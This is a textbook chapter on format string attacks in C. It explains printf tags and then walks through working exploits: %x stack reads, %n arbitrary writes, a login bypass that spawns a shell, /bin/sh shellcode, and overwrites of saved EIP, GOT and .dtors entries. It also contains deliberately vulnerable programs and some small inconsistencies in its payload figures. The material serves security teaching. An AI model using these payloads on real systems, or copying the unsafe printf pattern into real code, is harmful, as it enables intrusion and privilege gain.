Chapter 9

Format string attacks

There are many types of programming errors. The majority of them result from insufficient verification of the size of the buffer on which the operations are executed. These errors have been known for many years and the frequency with which they are found decreases every day. Buffer overflow errors allow hackers to obtain the privileges of the user who started up the buggy application. Many methods of protection against them have been created. Recently a new type of attack has been discovered, connected with the incorrect use of the functions that format the character sequences. Attacks of this kind are called format string attacks. There is no way to secure ourselves against them. They are therefore considered to be among the most dangerous attacks.

What is a format string?

Every C programmer uses the printf() function. It prints text to the screen. It also allows the information displayed to be modified using variables. With it we can print int, char, or long variables to the screen. Below is a simple example of its use (**/CD/Chapter9/Listings/fm.c**).

```
#include <stdio.h>

int main(int argc, char *argv[])
{
        char c = '1';
        int i = 10;
        long l = 100;
        double d = 100.00;

        printf("%c %d %ld %f\n", c, i, l ,d);

        return 0;
}
```

```
bash-2.05b$ gcc -o fm fm.c
bash-2.05b$ ./fm
1 10 100 100.000000
bash-2.05b$
```

At the beginning our program declares a few variables of different types and assigns them specific values. Then it calls the print() function using the appropriate parameters. It is these parameters that are of most interest to us. Let's have a look at the first of them:

a) "%c %d %ld %f\n" – The first parameter of the printf() function is the format string. It is a simple character sequence containing information about which data to print on the screen. The function checks if there are specific tags in it. If there are, it changes them into specific values. In our example we used the following formatting tags:

- %c – A char variable is "pasted" here.
- %d – Enters an int variable.
- %d – Enters a long int variable.
- %d – Enters a double variable.

b) c – This is our char variable. Its value will be placed within the text.

c) i – The int variable will be included in the printed information.

d) 1 – The long variable will be placed in the %ld location in the format string.
e) d – The double variable is handled in the same way as the previous variables.

All the types of formatting tags are described in detail in the system manual:

```
bash-2.05b$ man 3 printf
```

We know now what the purpose of the printf() function is and how to call it. It's time to discover how it really works. As the reader has probably already noticed, it is possible to transfer an unlimited number of arguments to this function. This is possible by using the va_list function. A sample application and a detailed description of va_list can be found in the section of the manual dealing with the “man stdarg” file header:

```
bash-2.05b$ man stdarg
```

Using the first parameter, which is the format string, the function determines how many others there are. Then it checks in sequence if there are any formatting characters in the string. If it finds any, it collects the first value from the top of the stack, converts it into an appropriate type, and then attaches it to the target information to be printed. Therefore, by calling the printf() function, the program begins by putting all the parameters transferred to it onto the stack. The number of formatting tags should be equal to the quantity of transferred variables to be printed. This is not, however, a condition necessary for the function.

Incorrect use of the printf() function

Let’s see what will happen if we transfer only the format string to the printf() function, without any remaining parameters (**/CD/Chapter9/Listings/fm2.c**).

```
#include <stdio.h>

int main(int argc, char *argv[])
{
        char c = '1';
        int i = 10;
        long l = 100;
        double d = 100.00;

        printf("%c %d %ld %f\n");

        return 0;
}
```

```
bash-2.05b$ gcc -o fm2 fm2.c
bash-2.05b$ ./fm2
ź -1073742696 134513675 100.000000
bash-2.05b$
```

When the printf() function was called, our program did not put our variables to be printed onto the stack. The function collected the data that were on the top of the stack. First from the top was the “ź” character, then the numbers

1073742696 and 134513675. The variable “double d” was on the stack after them and it was possible to print it correctly. Let’s take a look at a similar example (**/CD/Chapter9/Listings/fm3.c**).

```
#include <stdio.h>

int main(int argc, char *argv[])
{
        char buf[64];
        strncpy(buf, argv[1], 64);

        printf(argv[1]);

        return 0;
}
```

This time we will enter the format string as the first program parameter. We can choose the content of the first parameter of the printf() function for ourselves. This is definitely an error, and we exploit it in a format string attack. We’ll start by compiling our program and running it using the parameter in the following example:

```
bash-2.05b$ gcc -o fm3 fm3.c
bash-2.05b$ ./fm3 "Jane has a cat"
Jane has a cat
```

It seems that everything is OK. We will, however, attach the following formatting tags to the string:

```
bash-2.05b$ ./fm3 AAAA-%x-%x-%x-%x
AAAA-bffffde7-40-4012a010-41414141
```

Instead of the first parameter, the program prints the character sequence that has already been processed. Thanks to this we are able to read the program memory down to the bottom of the stack. As we can see our last %x read the value 41414141 from the stack; in other words, the characters AAAA. So which benefits can reading the memory bring us? In practice, not many. If we are lucky we might come across some interesting data, such as passwords to the programs that we cannot debug by ourselves. It would be good if we could find a way to write to memory.

For now, let's try to change the string content that we enter to the program:

```
bash-2.05b$ ./fm AAAA-%x-%x-%x-%n
Violation of memory protection
bash-2.05b$
```

We have managed to cause the unexpected closure of the program. The only thing that we did was change of the last %x tag into the %n tag. Let's stop to think what this is for.

Use of the %n tag

The %n tag differs slightly from the others. It does not convert any variables into a specific type. Its task is to write the number of characters printed till now within the int variable. Its argument is the pointer to the int variable within which it will write the data. We will now have a look at an example of its function below (**/CD/Chapter9/Listings/test.c**):

```
#include <stdio.h>

int main(int argc, char *argv[])
{
        int i = 0;
        printf("1234567890%n1234567890\n", &i);
        printf("%d\n", i);

        return 0;
}
```

The %n tag is placed after 10 characters of the format string.

```
bash-2.05b$ gcc –o test test.c
bash-2.05b$ ./test
12345678901234567890
10
bash-2.05b$
```

The number 10 has thus been written precisely within the int variable.

But let's turn back to the example from the previous section. When we entered %x as the last tag the program printed number 41414141 on the screen. Changing it into the %n tag, we ordered the program to write the number of printed characters under the address 41414141. This address does not belong to the space of the process address, therefore the program crashes. As we have already mentioned, the value 41414141 is the AAAA that we transferred at the beginning of the format string. Instead of AAAA we could transfer another string, for example the address of some important variable. We know already that it is possible to write to any address in the program memory. So let's take advantage of this feature of the %n tag.

Below is an example of a program containing format string errors (**/CD/Chapter9/Listings/fs.c**):

```
#include <stdio.h>

int main(int argc, char *argv[])
{
        char buf[64];
        int i = 0;
        strncpy(buf, argv[1], 64);
        printf("i variable has the value 0x%x, its address in memory is 0x%x\n",i,&i);
        printf(buf);
        printf("\ni variable has the value 0x%x, its address in memory is 0x%x\n",i, &i);
        return 0;
}
```

```
bash-2.05b$ gcc -o fs fs.c
bash-2.05b$ ./fs "Jane has a cat"
The i variable has the value 0x0, its address in memory is 0xbffffc3c
Jane has a cat
The i variable has the value 0x0, its address in memory is 0xbffffc3c
bash-2.05b$
```

The program prints the information about the content and the address of the int i variable. Then the program prints the parameter transferred to it, wrongly using the printf() function for this purpose. Before ending, it prints the value and the address of the int i variable once again. Our task will be to write any value within the i variable while using the %n tag. We start up our program with the characters AAAA at the beginning of the format string and we add to it as many %x as necessary in order to "dig down" to the beginning of the string:

```
bash-2.05b$ ./fs AAAA-%x-%x-%x-%x-%x-%x-%x-%x
The i variable has the value 0x0, its address in memory is 0xbffffc2c
AAAA-0-bffffc2c-4012a010-40128620-bffffc34-40032ed5-0-41414141
The i variable has the value 0x0, its address in memory is 0xbffffc2c
bash-2.05b$
```

We have to enter eight %x to find 41414141. Instead of using the AAAA-%x-%x-%x-%x-%x-%x-%x-%x record we can also use AAAA-%8$x. This means the eighth value on the stack, or 41414141. The $ character, however, has a special meaning in the bash shell, therefore to transfer such an argument we will use the echo program using the -e parameter. This parameter switches on the interpreting of special character sequences (such as "\n"; that is, the character representing a new line), while printing others unchanged.

```
bash-2.05b$ ./fs `echo -e 'AAAA-%8$x'`
The i variable has the value 0x0, its address in memory is 0xbffffc3c
AAAA-41414141
The i variable has the value 0x0, its address in memory is 0xbffffc3c
bash-2.05b$
```

We want to write data under the address 0xbffffc3c; the location where our variable i is. We therefore have to write this address in the form of a character chain and substitute it with the AAAA sequence. We do this from the end as follows: "\x3c\xfc\xff\xbf"

```
bash-2.05b$ ./fs `echo -e '\x3c\xfc\xff\xbf-%8$x'`
The i variable has the value 0x0, its address in memory is 0xbffffc3c
<ü˙ż-bffffc3c
The i variable has the value 0x0, its address in memory is 0xbffffc3c
bash-2.05b$
```

As we can see, instead of "AAAA-41414141" the program has printed the sequence "<ü˙ż-bffffc3c." The first four characters have the same ASCII code as our bffffc3c address. Each of them has a value greater then 128, and therefore they are presented in the form <ü˙ż. As the parameter for the %x tag, we managed to transfer the address of the variable to which we want to write. Now we need to change %x to %n:

```
bash-2.05b$ ./fs `echo -e '\x3c\xfc\xff\xbf-%8$n'`
The i variable has the value 0x0, its address in memory is 0xbffffc3c
<ü˙ż-
The i variable has the value 0x5, its address in memory is 0xbffffc3c
bash-2.05b$
```

We did it! We wrote the value 5 to the i variable, which corresponds to the length of the address plus the "-" character. But let's stop and think what we have to do if we want to write a bigger value to the variable. We cannot transfer thousands of characters to the program parameter because the glibc library does not allow this. We can, however, use the features of the printf() function that allow us to transfer information about the number of empty fields that have to be printed within tags. Let's try, for example, to write the number 1000 within the i variable:

```
bash-2.05b$ ./fs `echo -e '\x3c\xfc\xff\xbf-%994x-%8$n'`
The i variable has the value 0, its address in memory is 0xbffffc3c
<ü˙ż-                              0-
The i variable has the value 0x3e8, its address in memory is 0xbffffc3c
bash-2.05b$
```

We use for this the additional %994x tag that prints 994 empty characters on the screen. The six remaining ones are our address and two "-" characters. One thousand is not, however, a terribly big number. Let's assume that we want to write into the int i variable the value 0x88664422. To discover how much 0x88664422 is in the decimal system, we will use the "calc" program.

```
bash-2.05b$ calc
C-style arbitrary precision calculator (version 2.11.10.1)
Calc is open software. For license details type:  help copyright
[Type "exit" to exit, or "help" for help.]

; 0x88664422
  2288403490
;
bash-2.05b$
```

Let's try to transfer the %2288403490x tag within the format string. As we can see, empty characters are being printed on the screen the whole time. It is unlikely that this process will terminate for several hours. It is therefore not a good idea to write a very big value using the %n tag. The int variable is 4 bytes in length. We can write data to every byte. In order to write within it the 0x88664422 value we will have to write 0x88 within its last byte, 0x66 within the second last, then 0x44 and 0x22 at the beginning. We have to know four addresses that will be used by four successive %n tags.

These will be successive addresses, beginning from the pointer of the int i variable, thus:

```
&i = 0xbffffc3c
&i+1 = 0xbffffc3d
&i+2 = 0xbffffc3e
&i+3 = 0xbffffc3f
```

These will constitute the beginning of the format string:

```
\x3c\xfc\xff\xbf\x3d\xfc\xff\xbf\x3e\xfc\xff\xbf\x3f\xfc\xff\xbf
```

The 0x22 number is 34 in the decimal system. The length of our addresses taken together is 16. We therefore subtract the number 16 from 34, and we still have to print 18 characters to reach 0x22. To do this we will use the %18x tag. Immediately after it we will add the %8$n tag, which will write data to the variable:

```
bash-2.05b$ ./fs `echo -e
'\x2c\xfc\xff\xbf\x2d\xfc\xff\xbf\x2e\xfc\xff\xbf\x2f\xfc\xff\xbf%18x%8$n'`
The i variable has the value 0x0, its address in memory is 0xbffffc2c
,ü˙ż-ü˙ż.ü˙ż/ü˙ż                 0
The i variable has the value 0x22, its address in memory is 0xbffffc2c
bash-2.05b$
```

The address of the int i variable in memory has changed; therefore, we have to change the affected fields in the addresses into the correct ones. As we can see, we have managed to write the first byte. Now it's time for the rest. The difference between 0x22 and 0x44 is 34 (just as between 0x44 and 0x66, etc.). We therefore have to print 34 characters on the screen before using the next %n tag, in order to write a number that is greater by 34 to the next byte. After entering in the appropriate address the number 0x22 we print as many characters as needed to cause the sum of them all to be 0x44 (that is, 34). Only then we can use the next %n tag, which will write the number 0x44 to a specific address. We repeat this process as many times as needed until we write the last byte, 0x88. Each time we increase the number next to %n by one in such a way that it writes in the next address (that is, in the next byte of the int i variable). We therefore append "%34x%9$n%34x%10$n%34x%11$n" to our format string.

Let’s check if everything is working correctly:

```
bash-2.05b$ ./fs `echo -e
'\x0c\xfc\xff\xbf\x0d\xfc\xff\xbf\x0e\xfc\xff\xbf\x0f\xfc\xff\xbf%18x%8$n%34x%9$n%34x%10
$n%34x%11$n'`
The i variable has the value 0x0, its address in memory is 0xbffffc0c

ü˙żü˙żü˙ż                 0                          bffffc0c
4012a01040128620
The i variable has the value 0x88664422, its address in memory is 0xbffffc0c
bash-2.05b$
```

As we can see, the address of the int i variable has changed again. We must therefore update the addresses in the string. We managed to write the value 0x88664422 in the target location in memory. But what will happen if the bytes we want to write become successively smaller and smaller? We will therefore try to write the value 0x22446688 in the int i variable. We should remember that the bytes of the variables in the x86 architecture are written in reverse order. So if we find in memory the 0x88664422 byte sequence and we assign it to the int variable, it will have the value 0x22446688. The following simple program illustrates this (**/CD/Chapter9/Listings/fm4.c**).

```
#include <stdio.h>

int main(int argc, char *argv[])
{
        char *test = "\x88\x66\x44\x22";
        int *i = (int*) test;
        printf("0x%x\n", *i);
        return 0;
}
```

```
bash-2.05b$ gcc -o fm4 fm4.c
bash-2.05b$ ./fm
0x22446688
bash-2.05b$
```

This is probably proof enough. So, in order that our variable will have the value 0x22446688 we have to write the bytes 0x88, 0x66, 0x44, and 0x22 in it in sequence. This process will look something like this:

```
      0x00000088  - Last byte
    0x00000066    - Third byte
  0x00000044      - Second byte
0x00000022        - First byte
------------------
      0x22446688
```

As we can see, the expression “successive byte in memory” does not mean a successive byte of the variable. As usual, at the beginning we have to transfer four addresses to which we will be writing.

```
\x0c\xfc\xff\xbf\x0d\xfc\xff\xbf\x0e\xfc\xff\xbf\x0f\xfc\xff\xbf
```

Then it is necessary to print 0x88 – 16 characters, that is 120. Such calculations can be done easily with the calc program:

```
; 0x88 - 16
        120
```

In the subsequent step we place the %n tag to write the value. We have already printed the 0x88 characters to the screen. The next byte we want to write is 0x66, that is 102. It will be difficult to delete the characters that have been already printed. At the same time, we have to find a way to write the 0x66 byte only once, as it is the last byte of the number we are writing. To do this we can write the number 0x00000166, through which we will obtain the same result. In order to discover how many bytes we still have to print, we subtract from the target number the number we have recently printed:

```
; 0x00000166 - 0x88
        222
```

The successive part of the string will be %222x. We repeat this step for the next fragments of the target address.

```
; 0x00000144 - 0x66
        222
; 0x00000122 - 0x44
        222
```

Having this information we now know how the part of the string following the addresses “120x%8$n%222x%9$n%222x%10$n%222x%11$n” should look.

We will now check to see if this will work:

```
bash-2.05b$ ./fs `echo -e
'\x0c\xfc\xff\xbf\x0d\xfc\xff\xbf\x0e\xfc\xff\xbf\x0f\xfc\xff\xbf%120x%8$n%222x%9$n%222x
%10$n%222x%11$n'`

The i variable has the value 0x0, its address in memory is 0xbffffc0c

ü˙żü˙żü˙ż       0
bffffc0c
4012a010                                                        40128620
The i variable has the value 0x22446688, its address in memory is 0xbffffc0c
bash-2.05b$
```

Everything has gone according to plan. We are now able to write any value under any memory address. Let's see which advantages it can bring to us.

Practical use of the format string error

In our last example, overwriting the int i variable did not give us any benefits in practice. But let's have a look at the program below (**/CD/Chapter9/Listings/fm5.c**):

```
#include <stdio.h>
#include <stdlib.h>

#define LOGIN "secret_login"
#define PASSWORD "secret_password"

int main(int argc, char *argv[])
{
        int ok = 0;
        char login[16];
        char password[16];

        strncpy(login, argv[1], 16);
        strncpy(password, argv[2], 16);

        printf("Trying to login the user ");
        printf(login);

if(!strcmp(login, LOGIN) &&!strcmp(password, PASSWORD))
        ok = 1;

        if(ok)
        {
                printf("\nYou have logged in successfully!!\n");
                execl("/bin/sh", "sh", NULL);
        }
        else
                printf("\nWrong login or password!!\n");

        return 0;
}
```

It is used to log the users into the system. The arguments of the command line are used to transfer the login and the password. If the password is correct, the int ok variable is set to 1, which means that the user has been logged in successfully. In this case a new shell is started up. If the user enters an incorrect password, the message about the wrong login is displayed. But the code for the above program contains a serious error:

```
printf("Trying to login the user ");
printf(login);
```

Instead of using the printf() function once, with the %s tag in the format string, the programmer decided to call it for the second time to print the login. Just by looking, you can see he did this incorrectly. We will now compile the above program with the -ggdb parameter. This will be useful for us when debugging later.

```
bash-2.05b$ gcc -o fm5 fm5.c -ggdb
```

Next, we start up our program with the correct login and password:

```
bash-2.05b$ ./fm5 secret_login secret_password
Trying to login the user secret_login
You have logged in successfully!!
sh-2.05b$ exit
exit
bash-2.05b$
```

We will want to achieve exactly this without knowing the password, through use of the format string error. Let's try therefore to transfer some %x as a login, and AAAA as a password.

```
bash-2.05b$ ./fm5 %x-%x-%x-%x AAAA
Trying to login the user bffffdf3-10-3-41414141
Wrong login or password!!
bash-2.05b$
```

Four %x will be enough to reach the location in which the transferred password, 41414141, is written. In order for the program to assume that we are logged in, we have to overwrite the int ok variable with a value different from 0. For this purpose we have to know its address in memory, which unfortunately the program under attack does not show. We will have to use gdb once again to determine it:

```
bash-2.05b$ gdb fm
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "--host= --target=i686-pld-linux"...Using host libthread_db
library "/lib/libthread_db.so.1".

(gdb) break main
Breakpoint 1 at 0x8048454: file fm5.c, line 9.
(gdb) run %x-%x-%x-%x AAAA
Starting program: /home/users/dave/fm5 %x-%x-%x-%x AAAA

Breakpoint 1, main (argc=3, argv=0xbffffcb4) at fm5.c:9
9               int ok = 0;
(gdb) print &ok
$1 = (int *) 0xbffffc4c
(gdb)
```

If we did not compile the program with the -ggdb parameter, the determination of the address of the variable would not be so easy (but not impossible). Now it is enough to give the program the address of the int ok variable instead of AAAA (0xbffffc4c) and to change the last %x into %n.

```
bash-2.05b$ ./fm5 %x-%x-%x-%n `echo -e '\x4c\xfc\xff\xbf'`
Trying to login the user bffffdf3-10-3-
You have logged in successfully!!
sh-2.05b$ exit
exit
bash-2.05b$
```

As we can see, everything has worked out. In some cases the variable address can differ slightly from that shown by gdb, due to changes in the program environment.

The best solution to this problem will be to add the following line to the program code:

```
        printf("0x%x\n", &ok);
```

The address of the variable in the target application under attack should be exactly the same. GDB is, however, the best solution in the event we do not have the source of the application containing the bug.

What would, however, happen if the int ok variable did not exist, and the program started up the shell immediately after checking the correctness of the password using strcmp()? This would not be tragic. There exist many locations in the program where overwriting can give us the desired benefits.

Using shellcodes

Each program is loaded into memory after starting up. Next, the processor begins the execution from a specific address and passes through all the instructions in sequence. These instructions can be written in the form of a character sequence (string). This representation of the processor instructions in the form of a string is called a shellcode. Its creation has been described in detail in the chapter on buffer overflow. We will use the following program to perform format string attacks using a shellcode (**/CD/Chapter9/Listings/fm6.c**):

```
#include <stdio.h>

char shellcode[] =
        "\x31\xc0"                                  /* xorl   %eax,%eax       */
        "\x50"                                      /* pushl  %eax            */
        "\x68\x2f\x2f\x73\x68"                      /* pushl  $0x68732f2f     */
        "\x68\x2f\x62\x69\x6e"                      /* pushl  $0x6e69622f     */
        "\x89\xe3"                                  /* movl   %esp,%ebx       */
        "\x50"                                      /* pushl  %eax            */
        "\x53"                                      /* pushl  %ebx            */
        "\x89\xe1"                                  /* movl   %esp,%ecx       */
        "\x31\xd2"                                  /* xorl   %edx,%edx       */
        "\xb0\x0b"                                  /* movb   $0xb,%al        */
        "\xcd\x80";                                 /* int    $0x80           */

        #include <stdio.h>
        int main(int argc, char *argv[])
```

```
{
        char buf[64];
        strncpy(buf, argv[1], 64);
        printf(argv[1]);
        printk("\nFinished\n");
        return 0;
}
```

Our task will be to jump from the main() function into the shellcode, which will start the shell for us. We can also transfer the shellcode as an argument of the command line. However, to make the task easier and to better explain what is occurring, we will place it in the program code, as above. Now we have to find the locations within the program whose overwriting will allow us to perform the jump into the shellcode. One of these locations is the copy of the EIP register.

Overwriting the EIP copy

The processor incorporates memory divided into registers. One of them is the EIP register. It includes the addresses of instructions that are currently being performed. We will now compile our program and will check it with gdb:

```
bash-2.05b$ gcc -o fm6 fm6.c
bash-2.05b$ gdb fm
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
....
This GDB was configured as "--host= --target=i686-pld-linux".
(gdb) break main
Breakpoint 1 at 0x80483ea
(gdb) r "Jane has a cat"
Starting program: /home/users/dave/fm6

Breakpoint 1, 0x080483ea in main ()
(gdb) info reg eip
eip            0x80483ea        0x80483ea
(gdb)
```

At the very beginning we set up the breakpoint at the address 0x80483ea. This means that the program should stop running when it comes to the instruction under this address. When the program stops functioning we print the information on the EIP register using the “info reg eip” command. This displays the address 0x80483ea, which is where we the program stopped executing. Using the request “nexti” we can see the program performing the instructions under the successive addresses.

As mentioned, at the beginning we set up the breakpoint at the address 0x80483ea.

```
(gdb) nexti
0x080483ed in main ()
(gdb) nexti
0x080483f2 in main ()
(gdb) nexti
0x080483f4 in main ()
(gdb) nexti
0x080483fc in main ()
(gdb) info reg eip
eip            0x80483fc        0x80483fc
(gdb)
```

Each time the EIP address indicates the performed operation. Theoretically, we could therefore write the address to our shellcode in the EIP register, and it would execute itself. However, the EIP register does not have an address; it belongs to the processor memory, and not to the computer memory. We cannot, therefore, write values to it like we did with the program variables. However, during execution our program saves a copy of this register on the stack. It always does this when it wants to call a specific function. When the processor finds the “call” instruction that executes the function with a specific address, it saves this “frame” on the stack and includes a copy of the EIP and EBP registers. Because of this, after returning from the function, the program can start the execution from the location where it left off. To display the information on the frame we give the command “info frame”:

```
(gdb) info frame
Stack level 0, frame at 0xbffffc70:
 eip = 0x80483ea in main; saved eip 0x400330b2
 Arglist at 0xbffffc68, args:
 Locals at 0xbffffc68, Previous frame's sp is 0xbffffc70
 Saved registers:
  ebp at 0xbffffc68, eip at 0xbffffc6c
(gdb)
```

We see that the main() function possesses a frame in which there is a copy of the EIP register under the address of 0xbffffc6c. The value of this copy is 0x400330b2, the address originating from the libc library. Instead of returning to libc after finishing main() we can also jump to our shellcode. Let’s try to change the value of the EIP copy into the shellcode address with the use of the gdb program.

```
(gdb) set *0xbffffc6c=&shellcode
(gdb) c
Continuing.
Jane has a cat
End
sh-2.05b$ exit
exit

Program exited normally.
(gdb)
```

This was not a big problem and after finishing the main() function we jumped to the shellcode, which in turn called the shell. We will now try to do exactly the same thing without using gdb. At the beginning we have to determine the address of our shellcode. For this purpose we will use also gdb:

```
(gdb) print &shellcode
$1 = (<data variable, no debug info> *) 0x80496ac
```

Fortunately, the address 0x80496ac is constant. With it we will overwrite the copy of the EIP register. The beginning of our format string will be the addresses in which there are the appropriate bytes of the copy of the EIP register. These are, in sequence, 0xbffffc6c, 0xbffffc6d, 0xbffffc6e, and 0xbffffc6f. Our format string will therefore begin like this:

```
"\x6c\xfc\xff\xbf\x6d\xfc\xff\xbf\x6e\xfc\xff\xbf\x6f\xfc\xff\xbf"
```

Next, we have to print 0xac – 16 characters (that is, 156). Then, we write the data using %n and calculate the subsequent number that it will be necessary to enter with %x:

```
; 0x196 - 0xac
        234
```

Value 0x96 is less than 0xac so we change it to 0x196. Finally, let's calculate last two bytes of our address.

```
; 0x0104 - 0x96
```

```
110
; 0x08 - 0x04
       4
;
```

We have had to jump from a bigger byte to a smaller one only once. What remains is to determine in which location from the top on the stack our address will be placed.

```
bash-2.05b$ ./fm6 AAAA-%x-%x-%x-%x
AAAA-bffffde7-40-4012a010-41414141
End
bash-2.05b$
```

As we can see, it is the fourth place, therefore the first tag to write will be %4$n. The last two bytes that we have to overwrite differ by only 4, so we can easily add four additional characters to the string. The data to be found after the addresses will look like this:

```
%156x%4$n%234x%5$n%110x%6$n----%7$n
```

Everything is running according to our earlier calculations. We now check to see if it has worked:

```
bash-2.05b$ ./fm6 `echo -e
'\x6c\xfc\xff\xbf\x6d\xfc\xff\xbf\x6e\xfc\xff\xbf\x6f\xfc\xff\xbf%116x%4$n%18x%5$n%110x%
6$n----%7$n'`
lü˙ mü˙ nü˙ oü˙    bffffdca                40          4012a010----
End
sh-2.05b$ exit
exit
bash-2.05b$
```

We have just overwritten a fully operational exploit by using a format string error. What do we do if our program takes so long that we would have to wait many days to finish the main() function? We will now show that there is a way to start up the shellcode before the function terminates.

Overwriting the GOT section

Each complex program written in C is divided into sections. Each of these sections stores data of a different kind. For example the .text section is used to store the program code and the .data section is used to store the initiated data. We can display all of them using the command:

```
bash-2.05b$ objdump -h fm6

fm6:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048134  08048134  00000134  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048148  08048148  00000148  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .hash         00000030  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .dynsym       00000070  08048198  08048198  00000198  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynstr       00000068  08048208  08048208  00000208  2**0
  ....
  ....
  18 .dynamic      000000c8  08049594  08049594  00000594  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  19 .got          00000004  0804965c  0804965c  0000065c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  20 .got.plt      00000018  08049660  08049660  00000660  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  21 .data         00000028  08049678  08049678  00000678  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  22 .bss          00000004  080496a0  080496a0  000006a0  2**2
```

This information tells us in which section we can write and in which we cannot (READONLY). The GOT section (Global Offset Table) is used when calling external functions of the libc library. To display its content we will use the objdump program:

```
bash-2.05b$ objdump -R fm6

fm6:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804965c R_386_GLOB_DAT    __gmon_start__
```

```
0804966c R_386_JUMP_SLOT   __libc_start_main
08049670 R_386_JUMP_SLOT   printf
08049674 R_386_JUMP_SLOT   strncpy
```

With the above information, we can begin the attack. When we overwrite the address corresponding to the puts() function (here 0x0804968c) with the address of our shellcode, it will be called instead of this function. Our program in the example uses the function once again at the very end to print “End” on the screen. Overwriting a specific pointer, the puts() function, instead of printing, will start up the shell. We will now check to see if it will work. For testing, gdb is an obvious choice.

```
bash-2.05b$ gdb fm6
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
....
This GDB was configured as "--host= --target=i686-pld-linux".
(gdb) break main
Breakpoint 1 at 0x80483ea
(gdb) r "Jane has a cat"
Starting program: /home/users/dave/fm6 "Jane has a cat"

Breakpoint 1, 0x080483ea in main ()
(gdb) set *0x0804968c=&shellcode
(gdb) c
Continuing.
sh-2.05b$ exit
exit

Program exited normally.
(gdb)
```

Our exploit will look exactly the same as it did in overwriting the copy of the EIP register. We have only to enter new addresses to which we will write. The shellcode address has not changed, so we do not have to calculate the number of characters to be printed all over again. The beginning of our format string therefore consists of four successive addresses:

```
„\x8c\x96\x04\x08\x8d\x96\x04\x08\x8e\x96\x04\x08\x8f\x96\x04\x08"
```

To this we add the rest of the string, as in the previous attack (exploit-got-fm6.sh).

```
bash-2.05b$ ./fm `echo -e
 ’\x8c\x96\x04\x08\x8d\x96\x04\x08\x8e\x96\x04\x08\x8f\x96\x04\
x08%156x%4$n%234x%5$n%110x%6$n----%7$n’`
sh-2.05b$ exit
exit
bash-2.05b$
```

We should remember that if the addresses in the system being used are different, it will be necessary to enter the changes in the format string individually; otherwise the exploit will not give the expected results. We have managed to exploit the program before the main() function closed. What’s more, there is one more often overwritten section that is definitely worth knowing about.

Overwriting the DTORS section

Each program written in the C language possesses constructor and destructor functions. The constructor function is executed even before the main() function. The pointer for this function is located in the .ctors section of the program, whereas the pointers for the destructor function are written in the .dtors section. They are executed as the final functions of a program, just before it closes. To display the content of .dtors we will use the objdump program as usual:

```
objdump -s -j .dtors fm6

fm6:     file format elf32-i386

Contents of section .dtors:
 80495a8 ffffffff 00000000                    ........
```

The first information is the address at which the .dtors section is located. Next, ffffffff is the value from which the section begins. The field is called __DTOR_LIST__. In sequence, as we can see, the zero bytes are found. At the end of the pointer list is the destructor function __DTOR_END__. While ending the action the program performs all the functions that are located between these two fields. As we can see, our program does not possess a destructor function. If, however, we placed a shellcode pointer there, it would start up immediately before the program ended.

We will first check if we can write to the .dtors section:

```
bash-2.05b$ objdump -h fm6 | grep -A 1 .dtors
 17 .dtors        00000008  080495a8  080495a8  000005a8  2**2
                  CONTENTS, ALLOC, LOAD, DATA
```

Nowhere does “READONLY” appear, which means that we can write to it freely. Now, let’s check under which addresses the beginning and the end of the destructor list is located.

```
bash-2.05b$ objdump -t fm6 | grep DTOR
080495a8 l     0 .dtors 00000000             __DTOR_LIST__
080495ac l     0 .dtors 00000000             __DTOR_END__
```

These are 0x080495a8 and 0x080495ac. In this case, there is no free space between them. Theoretically we cannot add our own pointer here. However, in ending the action, the program starts to run the functions beginning from __DTOR_LIST__. It starts them up in sequence, till it finds four zero bytes, and thus __DTOR_END__. We can overwrite __DTOR_END__ with the address of our shellcode in a way that the system will think that this is the pointer for the destructor function. After starting up the shellcode, the program will wait, so long as we do not switch off the shell. Then a program error should be found (assuming there is one), because the system does not find __DTOR_END__ on its own. This issue, however, is not of interest to us, as what is important is that the shellcode will be started. As usually, for preliminary testing we will use gdb.

```
bash-2.05b$ gdb fm6
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
...
This GDB was configured as "--host= --target=i686-pld-linux".
(gdb) break main
Breakpoint 1 at 0x80483ea
(gdb) r "Jane has a cat"
Starting program: /home/users/dave/fm6 "Jane has a cat"Breakpoint 1, 0x080483ea in main
(gdb) set *0x080495ac = &shellcode
(gdb) c
Continuing.
Jane has a cat
End
sh-2.05b$ exit
exit
Program exited normally.
(gdb)
```

Everything has gone as planned, and we even avoided the error connected with overwriting __DTOR_END__. Evidently somewhere on its way through the memory the processor found four zero bytes, which it considered to be the end of the destructor list. Now we will do the same using the format string. As usually, a small change in the address to which we will write is enough. These will be four addresses in sequence beginning from __DTOR_END__:

```
"\xac\x95\x04\x08\xad\x95\x04\x08\xae\x95\x04\x08\xaf\x95\x04\x08"
```

The format string overwriting the specific addresses is already readily known from our previous attacks:

```
bash-2.05b$ ./fm6 `echo -e
'\xac\x95\x04\x08\xad\x95\x04\x08\xae\x95\x04\x08\xaf\x95\x04\x08%156x%4$n%234x%5$n%110x
%6$n----%7$n'`

bffffdc5          40
4012a010----
End
sh-2.05b$ exit
exit
bash-2.05b$
```

In this way we have come to know the three most frequently used ways of taking advantage of format string errors, which, as we can see, are not the easiest. However, their correct usage provides us with a great deal of satisfaction.

How do we avoid errors?

Errors connected with format strings are relatively easy to detect. Actually, in the majority of cases they are visible at first glance. The printf() function is only one of many functions susceptible to these attacks. Other ones are, for example:

```
fprintf();
printf();
sprintf();
snprintf();
vfprintf();
vprintf();
vsprintf();
```

```
vsnprintf();
setproctitle();
syslog();
```

